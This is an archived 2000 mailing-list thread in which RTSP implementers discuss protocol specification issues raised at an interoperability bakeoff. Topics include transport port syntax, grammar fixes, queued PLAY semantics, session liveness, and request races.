> > > Allowing a generic list of ports rather than just a range would be good.
> > > I'm not sure of the right syntax for this, though.  It can't be a comma
> > > separated list since commas are already used for lists of transports.
> > >
> > I would also vote in favor of always specifying both ports. Again, though,
> > we need to decide how to deal with backward compatibility.
> 
> Yup.

The +1 rule only applies to RTCP and is meaningless elsewhere.

Currently, 'port' is only described specifically for RTP, where a pair
(range) is required.

Thus, I don't see the problem except that maybe 'port' needs to be
defined for non-RTP sessions.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Sep  8 13:04:01 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA01958
	for confctrl-outgoing; Fri, 8 Sep 2000 13:04:01 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA01953
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 13:04:00 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id NAA07328
	for <confctrl@ISI.EDU>; Fri, 8 Sep 2000 13:03:59 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA17323;
	Fri, 8 Sep 2000 16:03:55 -0400 (EDT)
Message-ID: <39B9462B.B3D1B6E7@cs.columbia.edu>
Date: Fri, 08 Sep 2000 16:03:55 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Sergent <sergent@eng.sun.com>
CC: confctrl@ISI.EDU
Subject: Re: RTSP embedded data and multiple connections; grammar errors
References: <200009072116.OAA12397@ha1mpk-mail.eng.sun.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Sergent wrote:
> 

> 
> Also, I noticed what seem to be a few minor errors in the RFC:
> 
> Section 12:
>         If-Match is missing from the header table but is in 12.22.
> 
> Section 12.39:
>         The grammar is missing the 'source' parameter.
>         The argument for 'destination' is optional; this seems wrong.
>         The grammar for 'mode' seems wrong.  How about:
>                        |    ";" "mode" = <"> 1\#Method <">
> 

Fixed; thanks.

> It would actually be easier to parse if it was just multiple instances
> of the mode attribute (which the grammar already allows)... quoted
> nested lists don't appear elsewhere.

Repeated parameters are not really common in any of the HTTP-style
grammars, so I don't think that's a viable option.


> 
> --
> Jonathan Sergent / sergent@Eng.Sun.COM

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Sep  8 15:52:58 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA06351
	for confctrl-outgoing; Fri, 8 Sep 2000 15:52:58 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA06344
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 15:52:56 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA26982
	for <confctrl@isi.edu>; Fri, 8 Sep 2000 15:52:56 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with ESMTP id com; Fri, 8 Sep 2000 15:53:27 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.16 #1 (Debian))
	id 13XX0S-000152-00; Fri, 08 Sep 2000 15:52:24 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Jonathan Sergent <sergent@eng.sun.com>
cc: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues 
In-Reply-To: Message from Jonathan Sergent <sergent@eng.sun.com> 
   of "Thu, 07 Sep 2000 13:43:22 PDT." <200009072043.NAA28920@ha1mpk-mail.eng.sun.com> 
References: <200009072043.NAA28920@ha1mpk-mail.eng.sun.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 08 Sep 2000 15:52:24 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13XX0S-000152-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <200009072043.NAA28920@ha1mpk-mail.eng.sun.com> you write:
> [...]
>  ] The only time this is
>  ] an issue is when the SDP description lists multiple tracks that need to ea
>  ch
>  ] be SETUP separately. In such a case, the server is clearly capable of
>  ] splitting up the data, as it is sending it to two different destinations.
>  ] The only question is whether a client should have the ability to ask it to
>  ] send one of those two streams and not the other (or more generally some
>  ] subset of all the streams).
> 
> I agree, but I wonder how to handle this situation:
> 
> DESCRIBE $A
> 	(session description includes stream URLs $b, $c, and $d)
> SETUP $b
> SETUP $c
> PLAY $A
> 	($b and $c start playing)
> SETUP $d
> 
> All SETUPs and PLAYs are on the same RTSP session.  Does stream d start
> playing immediately, in sync with the rest of the presentation?  Does
> the server send 455?  The RFC is unclear.  Banning it is probably
> unnecessary, but it's unclear whether you have to send another PLAY in
> order to get it to start streaming (I would say "yes").  This is
> potentially useful in situations where the client knows that one stream
> does not begin for several minutes and so it can avoid the extra
> resource utilization in the mean time.
> 
This is a good question, and I'm not sure the spec clearly defines the
behavior right now. I would say the server is always free to send a 455,
but if it doesn't it shouldn't play $d unless/until you send another PLAY
command. Sending a PLAY without a Range should probably be good enough,
though, and would basically cause $d to pick up in the middle at exactly
the same play point as the other currently active streams.

>  ] The one place where I could see it potentially being useful would be if yo
>  u
>  ] wanted to set up several different pieces of content in the same session
>  ] with the intent of playing alternate versions of them rather than playing
>  ] all of them simultaneously. In that case, the URI in the PLAY could let yo
>  u
>  ] specify which subset of the items to play. This sounds complicated to
>  ] implement from a server standpoint, though, and I'm not sure we'd want to
>  ] mandate something like that in the spec.
> 
> I think it's ambiguous, too, given this text in the spec, under PAUSE:
>    If the request URL names a stream, only
>    playback and recording of that stream is halted. For example, for
>    audio, this is equivalent to muting.
> 
> If the server allows PLAY of only part of what has been SETUP (as you
> describe above), then how does it distinguish an enqueued PLAY request
> for only one stream from a request to restart PLAY of that stream after
> it has been paused?  For example:
> 
> DESCRIBE $A
> SETUP $b
> SETUP $c
> SETUP $d
> PLAY $A\nRange: npt=0-60
> PAUSE $b\nRange: npt=10
> [30 seconds pass]
> PLAY $b
> 
> Does $b restart in sync with $A, or does it start playing from start to
> finish once $A has completed?  If there is a Range header, it is
> clearly an enqueued request, since there is no way to say "start
> playing in sync with the rest of the presentation" in Range... there
> probably should be.
> 
With no Range header, I'd say it definitely would start up immediately in
sync with the other streams currently playing. With a Range header, I guess
the only thing that would make sense would be a queued play, as there's no
current support for a single session having multiple streams playing at
different points simultaneously.

> Also, if the client PAUSEs only one stream out of the presentation,
> then it PAUSEs the entire presentation, then it PLAYs the entire
> presentation, does the previously muted stream stay muted?
> 
I'd say a PAUSE of the whole presentation resets all state about individual
streams. If you PLAY the aggregate URL, it plays all of the streams.

> [...]
>  ] The explicit approach is definitely simplest. In addition, though, I think
>  ] we definitely want to allow for RTCP-based liveness, so that clients don't
>  ] necessarily need to keep the control connection open at all during a
>  ] long playing stream. I'm not really sure we need to worry much about a
>  ] single control connection having so many sessions that an implicit type
>  ] of approach is required, but if that is an issue, I think we need to very
>  ] clearly define how streams are associated with a given connection...
> 
> I agree.
> 
> Another possibility would be to send a "ping" GET_PARAMETER request but
> with more than one session ID listed, to ping all of the sessions in
> one request.
> 
Yes - Session could be one of the headers that allows either a comma-separated
list or multiple header instances, at least in this case.
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Fri Sep  8 15:54:13 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA06365
	for confctrl-outgoing; Fri, 8 Sep 2000 15:54:13 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA06360
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 15:54:11 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA27399
	for <confctrl@isi.edu>; Fri, 8 Sep 2000 15:54:11 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with ESMTP id com; Fri, 8 Sep 2000 15:54:42 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.16 #1 (Debian))
	id 13XX1f-00015O-00; Fri, 08 Sep 2000 15:53:39 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Jonathan Sergent <sergent@eng.sun.com>
cc: confctrl@ISI.EDU
Subject: Re: RTSP embedded data and multiple connections; grammar errors 
In-Reply-To: Message from Jonathan Sergent <sergent@eng.sun.com> 
   of "Thu, 07 Sep 2000 14:16:11 PDT." <200009072116.OAA12397@ha1mpk-mail.eng.sun.com> 
References: <200009072116.OAA12397@ha1mpk-mail.eng.sun.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 08 Sep 2000 15:53:39 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13XX1f-00015O-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <200009072116.OAA12397@ha1mpk-mail.eng.sun.com> you write:
> 
> If an RTSP session is being controlled over multiple connections, and a
> SETUP is done for interleaved transport, should the data sent back on
> the connection where the SETUP arrived, or the connection where the
> PLAY arrived?
> 
> Doing it where the SETUP arrived seems right (else it is not possible
> to validate channel IDs at SETUP time).  Is this what others do?
> 
I've never tried this with our server, but in thinking about how the code
works, I believe it would in fact send the data on the connection that the
SETUP was done on. That's the only thing that really makes sense, for the
reason you mentioned.
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Fri Sep  8 16:40:09 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA07563
	for confctrl-outgoing; Fri, 8 Sep 2000 16:40:09 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA07558
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 16:40:08 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id QAA09580
	for <confctrl@isi.edu>; Fri, 8 Sep 2000 16:40:07 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with ESMTP id com; Fri, 8 Sep 2000 16:40:39 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.16 #1 (Debian))
	id 13XXk8-00018j-00; Fri, 08 Sep 2000 16:39:36 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Dirk Pranke <dirk.pranke@oracle.com>, Sean Sheedy <seans@ncube.com>,
        confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues 
In-Reply-To: Message from Henning Schulzrinne <schulzrinne@cs.columbia.edu> 
   of "Fri, 08 Sep 2000 13:34:04 EDT." <39B9230C.DBBBC6EE@cs.columbia.edu> 
References: <E13MJtb-0000D8-00@savage.entera.com> 
 <39B7CA9E.F9555A5B@ncube.com> <E13X7Nd-0007dv-00@savage.entera.com> 
 <39B8680F.90AC7703@oracle.com>  <39B9230C.DBBBC6EE@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 08 Sep 2000 16:39:36 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13XXk8-00018j-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <39B9230C.DBBBC6EE@cs.columbia.edu> you write:
> I will be trying to edit in changes. Thus, it would be helpful if you
> could point out also where in the spec you suggest changes.
> 
Thanks, Henning -- I'll try to go back through my list of issues and the spec
and see if there are specific suggestions I can make.

> 
> I'm trying to find places in the spec that require DESCRIBE before
> SETUP.
> 
I don't think anything in the spec currently requires this, and indeed many
of the implementations didn't require it. However, the question was raised
about whether it was mandatory for servers to support SETUP without a
preceding DESCRIBE. If we believe it should be (and I do), it would be good
to add that to the spec.

> Added in SDP section:
> 
> 
> A client is \textbf{not} required to issues {\SETUP} requests for all
> streams within an aggregate object. Servers {\SHOULD} allow the client   
> to ask for only a subset of the streams.  
> 
Sounds good.

>> Not all the world uses RTP :) If you're streaming raw MPEG-2 Transport over
>> IP or other types of networks, then a decent MPEG-2 client will recover from
>> timestamp discontinuities, and doesn't need RTP-Info sequencing information
>> (although it doesn't hurt, either).
> 
> And even good RTP implementations will work just fine with timestamp
> and/or sequence number discontinuities. These can occur for any number
> of reasons.
> 
Both of these statements are evading the point of my question. According to
Appendix B of the spec, a server should maintain continuous sequence numbers
and timestamps when playing multiple segments back to back. How exactly can
it do that and still return a timely answer (with proper RTP-Info) to a
queued PLAY, though, when it doesn't know yet how many packets will be in
the currently playing segment? How would _you_ suggest a server implement
this for the RTP transport?

The only reasonable thing I can think of here is what I put in the original
summary, where a different message is sent from the server to a client when
a segment finishing playing, indicating the sequence number and timestamp of
the next segment (which may or may not already be queued up). This could also
serve as a "stream done" notification, which others have asked for.

> > > > Yes.  This was already my interpretation, and the interpretation of the
> > > > client writers I've worked with.  Without requiring a session ID to be
> > > > returned on SETUP, servers would have major problems properly handling
> > > > non-persistent control connections.
> > > >
> > > Agreed. Does anyone else think this would be an unreasonable change?
> 
> Tentatively changed the 'all but SETUP, OPTIONS' entry to just OPTIONS.
> 
Sounds good.

> [...]
>
> I assume we're talking here about server detecting client liveness.
> 
> One approach is to use the SIP session timer mechanism, in combination
> with Require/Supported. That way, the server can decide whether it can
> either live with clients that don't support it or not. I don't think it
> would hurt to have a mechanism that's similar to the SIP one, as it's
> already documented.
> 
What would you use instead of re-INVITE here? I don't think we want to be
resending the SETUP. It might be ok to re-send the PLAY, but that only
works when the stream is actively playing something. We need this mechanism
to work even when the session is paused. It might be possible to use
SET_PARAMETER, but this header would be in the main command header, not the
content, so it isn't all that good a fit either.

To be honest, I'm not sure we need as complicated a mechanism as this for
RTSP. The current mechanism of using PLAY/GET_PARAMETER "pings" plus RTCP
(when available) is probably good enough. The main issue I think that needed
clarification was the distinction between RTSP session and transport level
connection. I think this confusion is also reflected below:

> > One possible complication for all of this: I don't recall the spec being cl
>  ear
> > as to whether or not you _could_ send commands for multiple streams over a 
>  single
> > transport connection. I believe we thought that that wasn't allowed, e.g. a
>   transport
> > connection had at most one session associated with it. If a connection can 
>  have
> > multiple sessions, then the overhead can also be reduced.
> 
> I don't recall that restriction being the case. Would there be any
> reason to disallow this, given that the server can easily distinguish
> the requests? This would be in line with HTTP and SIP usage, too.
> 
I've always assumed that there was no correlation at all between transport
connections and RTSP sessions. This meant that you were free to use a single
connection for as many sessions as you liked and that you were free to send
commands for a single session over several different transport connections
at once if you liked. This is stated pretty well in section 1.1, I think.
However, I'm not sure it is remembered when people read other sections of
the document. :)

I'm not sure exactly where it would be best to put it, but I think it would
be good to emphasize somewhere that the mechanism for timing out sessions is
independent of the transport-level control connections, and vice-versa. The
latter is particularly important -- a session should _not_ be cleaned up just
because a client drops their control connection.
> 
> Is there a problem with existing clients that omit the parameter, based
> on the default assumption? Otherwise, I've removed the sentence and
> added a word about having to insert one or other other (unicast or
> multicast).
> 
Yes - compatibility with existing clients and servers was my main concern
here. Some clients seemed to put "RTP/AVP/TCP;unicast" and others didn't.
Similarly, some servers _required_ "unicast" to be present for it to work
and others didn't. Moving forward, I think the cleanest thing is probably
to always require "unicast" or "multicast" to be specified explicitly, but
there will still be some time where we'll have both clients & servers out
there which may not specify it.

> 
> The +1 rule only applies to RTCP and is meaningless elsewhere.
> 
> Currently, 'port' is only described specifically for RTP, where a pair
> (range) is required.
> 
> Thus, I don't see the problem except that maybe 'port' needs to be
> defined for non-RTP sessions.
> 
The current grammar doesn't actually require it to be a pair/range. It allows
it to be a single port number. It also doesn't currently specify the "+1"
default in that case.
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Fri Sep  8 16:53:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA07898
	for confctrl-outgoing; Fri, 8 Sep 2000 16:53:34 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA07893
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 16:53:33 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id QAA13449
	for <confctrl@isi.edu>; Fri, 8 Sep 2000 16:53:32 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with ESMTP id com; Fri, 8 Sep 2000 16:54:05 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.16 #1 (Debian))
	id 13XXx8-00019x-00; Fri, 08 Sep 2000 16:53:02 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Dirk Pranke <dirk.pranke@oracle.com>
cc: Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues 
In-Reply-To: Message from Dirk Pranke <dirk.pranke@oracle.com> 
   of "Thu, 07 Sep 2000 21:16:15 PDT." <39B8680F.90AC7703@oracle.com> 
References: <E13MJtb-0000D8-00@savage.entera.com> 
 <39B7CA9E.F9555A5B@ncube.com> <E13X7Nd-0007dv-00@savage.entera.com>  
 <39B8680F.90AC7703@oracle.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 08 Sep 2000 16:53:02 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13XXx8-00019x-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <39B8680F.90AC7703@oracle.com> you write:
> 
> Here are my comments, based on Oracle's RTSP implementation in the
> Oracle Video Server (OVS), which is quite similar to nCUBE's ... I apologize 
> for the length of the post, but I think it's necessary to preserve context.
> 
Thanks, Dirk - see my follow-ups below...

> Clearly the general case is problematic, but it should be allowed for some
> cases; we have situations where we can send the SETUP w/o needing a prior
> DESCRIBE, but we still need other information that could be contained in the
> description. There are two potential problems trying to work around this
> with DESCRIBE:
> 
>  (1) a general problem with DESCRIBE is that its stateless whereas SETUP is
>      stateful, and the DESCRIBE and SETUPs are not temporally aligned. For
>      example, OVS has assets whose descriptions change in real time, and it
>      is important to freeze the description that was in place at SETUP time.
>      For this reason, DESCRIBE was useless to us and our initial implementati
>  ons
>      didn't even support it (we do now).
> 
I think part of the confusion here is that there are really two different
types of information being discussed... There's the general (typically
fairly static) information about an asset that you need to know before you
can even issue a set of SETUP messages for it and there's some additional
information which you might want to know after issuing the SETUP that is
specific to the particular state that was established there.

In RTSP, there's currently very little state in the second category. About
the only thing is the Transport information, which is returned in the SETUP
reply. For a server like what you are describing, I think it is perfectly
reasonable to have other headers in the SETUP reply and/or actually use the
content body of the SETUP reply to return this information. If all the
client needs to know is the URL, it might be perfectly reasonable for it
to issue a SETUP without a DESCRIBE in a system like this.

>  (2) Unless I'm missing something, authorization concerns may prohibit a stat
>  eless 
>      DESCRIBE from being pipelined with a SETUP, or more generally, _all pipe
>  lining_ 
>      (a rolling nonce in the Authorization-Info: can cause a pipeline stall).
> 
Yes, that's a good point. That's a limitation of the authentication scheme,
though. It would be possible to design one with rolling nonces that could
still allow several parallel commands to be issued, as long as each had its
own independent chain of nonces and a way of saying which chain the next
command was following on from.

I think I covered the rest in my reply to Henning...
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Fri Sep  8 16:59:33 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id QAA08062
	for confctrl-outgoing; Fri, 8 Sep 2000 16:59:33 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA08057
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 16:59:32 -0700 (PDT)
Received: from inet-smtp4.us.oracle.com (inet-smtp4.oracle.com [209.246.15.58])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id QAA14903
	for <confctrl@ISI.EDU>; Fri, 8 Sep 2000 16:59:32 -0700 (PDT)
Received: from gmgw02.us.oracle.com (gmgw02.us.oracle.com [130.35.60.93])
	by inet-smtp4.us.oracle.com (8.9.3/8.9.3) with ESMTP id RAA01813;
	Fri, 8 Sep 2000 17:00:42 -0700 (PDT)
Received: from oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by gmgw02.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id QAA01043;
	Fri, 8 Sep 2000 16:59:30 -0700 (PDT)
Message-ID: <39B97D62.D0CA89F8@oracle.com>
Date: Fri, 08 Sep 2000 16:59:30 -0700
From: Dirk Pranke <dirk.pranke@oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ron Frederick <ronf@entera.com>
CC: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <E13MJtb-0000D8-00@savage.entera.com> 
	 <39B7CA9E.F9555A5B@ncube.com> <E13X7Nd-0007dv-00@savage.entera.com> 
	 <39B8680F.90AC7703@oracle.com>  <39B9230C.DBBBC6EE@cs.columbia.edu> <E13XXk8-00018j-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ron Frederick wrote:

 ...

> 
> >> Not all the world uses RTP :) If you're streaming raw MPEG-2 Transport over
> >> IP or other types of networks, then a decent MPEG-2 client will recover from
> >> timestamp discontinuities, and doesn't need RTP-Info sequencing information
> >> (although it doesn't hurt, either).
> >
> > And even good RTP implementations will work just fine with timestamp
> > and/or sequence number discontinuities. These can occur for any number
> > of reasons.
> >
> Both of these statements are evading the point of my question. According to
> Appendix B of the spec, a server should maintain continuous sequence numbers
> and timestamps when playing multiple segments back to back. How exactly can
> it do that and still return a timely answer (with proper RTP-Info) to a
> queued PLAY, though, when it doesn't know yet how many packets will be in
> the currently playing segment? How would _you_ suggest a server implement
> this for the RTP transport?
> 

I was simply trying to point out that you *can* implement queued play without
needing to worry about RTP-Info, since you it's irrelevant if you're not
using RTP. I agree with you that you do have the problem if you're using RTP.

-- Dirk

Dirk Pranke
Oracle Interactive Television Division

From confctrl-owner  Fri Sep  8 17:03:17 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA08190
	for confctrl-outgoing; Fri, 8 Sep 2000 17:03:17 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA08185
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 17:03:15 -0700 (PDT)
Received: from inet-smtp4.us.oracle.com (inet-smtp4.oracle.com [209.246.15.58])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id RAA16238
	for <confctrl@ISI.EDU>; Fri, 8 Sep 2000 17:03:15 -0700 (PDT)
Received: from gmgw02.us.oracle.com (gmgw02.us.oracle.com [130.35.60.93])
	by inet-smtp4.us.oracle.com (8.9.3/8.9.3) with ESMTP id RAA02166;
	Fri, 8 Sep 2000 17:04:26 -0700 (PDT)
Received: from oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by gmgw02.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id RAA03763;
	Fri, 8 Sep 2000 17:03:14 -0700 (PDT)
Message-ID: <39B97E42.C3B552B2@oracle.com>
Date: Fri, 08 Sep 2000 17:03:14 -0700
From: Dirk Pranke <dirk.pranke@oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ron Frederick <ronf@entera.com>
CC: Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <E13MJtb-0000D8-00@savage.entera.com> 
	 <39B7CA9E.F9555A5B@ncube.com> <E13X7Nd-0007dv-00@savage.entera.com>  
	 <39B8680F.90AC7703@oracle.com> <E13XXx8-00019x-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ron Frederick wrote:

  ...

> I think part of the confusion here is that there are really two different
> types of information being discussed... There's the general (typically
> fairly static) information about an asset that you need to know before you
> can even issue a set of SETUP messages for it and there's some additional
> information which you might want to know after issuing the SETUP that is
> specific to the particular state that was established there.
> 
> In RTSP, there's currently very little state in the second category. About
> the only thing is the Transport information, which is returned in the SETUP
> reply. For a server like what you are describing, I think it is perfectly
> reasonable to have other headers in the SETUP reply and/or actually use the
> content body of the SETUP reply to return this information. If all the
> client needs to know is the URL, it might be perfectly reasonable for it
> to issue a SETUP without a DESCRIBE in a system like this.
> 

Yup, and the way we did this is to optionally indicate that we wanted the full 
description as the content-body of the SETUP.

> >  (2) Unless I'm missing something, authorization concerns may prohibit a stat
> >  eless
> >      DESCRIBE from being pipelined with a SETUP, or more generally, _all pipe
> >  lining_
> >      (a rolling nonce in the Authorization-Info: can cause a pipeline stall).
> >
> Yes, that's a good point. That's a limitation of the authentication scheme,
> though. It would be possible to design one with rolling nonces that could
> still allow several parallel commands to be issued, as long as each had its
> own independent chain of nonces and a way of saying which chain the next
> command was following on from.
> 

Yes, this would be possible but somewhat weaker, and also more complicated to 
implement since you'd need to track the valid nonces in a more complicated manner.

-- Dirk

Dirk Pranke
Oracle Interactive Television Division

From confctrl-owner  Fri Sep  8 17:19:41 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA08744
	for confctrl-outgoing; Fri, 8 Sep 2000 17:19:41 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA08739
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 17:19:40 -0700 (PDT)
Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id RAA20400
	for <confctrl@ISI.EDU>; Fri, 8 Sep 2000 17:19:39 -0700 (PDT)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA11197
	for <confctrl@ISI.EDU>; Fri, 8 Sep 2000 18:19:38 -0600 (MDT)
Received: from ha1mpk-mail.eng.sun.com (phys-ha1mpka.Eng.Sun.COM [129.146.122.34])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with SMTP id RAA06037
	for <confctrl@ISI.EDU>; Fri, 8 Sep 2000 17:19:37 -0700 (PDT)
Received: from vernors by ha1mpk-mail.eng.sun.com (SMI-8.6/SMI-SVR4)
	id RAA20785; Fri, 8 Sep 2000 17:19:37 -0700
Message-Id: <200009090019.RAA20785@ha1mpk-mail.eng.sun.com>
To: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues 
In-Reply-To: Message from ronf@entera.com (Ron Frederick) 
   of "Fri, 08 Sep 2000 15:52:24 PDT." <E13XX0S-000152-00@savage.entera.com> 
From: Jonathan Sergent <sergent@eng.sun.com>
Date: Fri, 08 Sep 2000 17:19:28 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

/// ronf@entera.com (Ron Frederick):
 ] With no Range header, I'd say it definitely would start up immediately in
 ] sync with the other streams currently playing. With a Range header, I guess
 ] the only thing that would make sense would be a queued play, as there's no
 ] current support for a single session having multiple streams playing at
 ] different points simultaneously.

I misread the section about PLAY with no range.  Sorry for the confusion.

I think that there is a race when the client sends a PLAY request
without a Range header, very close to the when the server is scheduled
to stop playing the current range.  The server automatically returns to
the Ready state when the range ends.  The incoming request will be
interpreted differently depending on whether it arrives before or after
the server's state change.

I think there is a similar race for PAUSE near the end of the range.
PAUSE should probably be a no-op in the Ready state.  Having the server
return an error seems wrong (but maybe it's not, and the client just
needs to be written to deal with this and hide it from the end-user).


-- 
Jonathan Sergent / sergent@Eng.Sun.COM

From confctrl-owner  Tue Sep 12 09:44:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
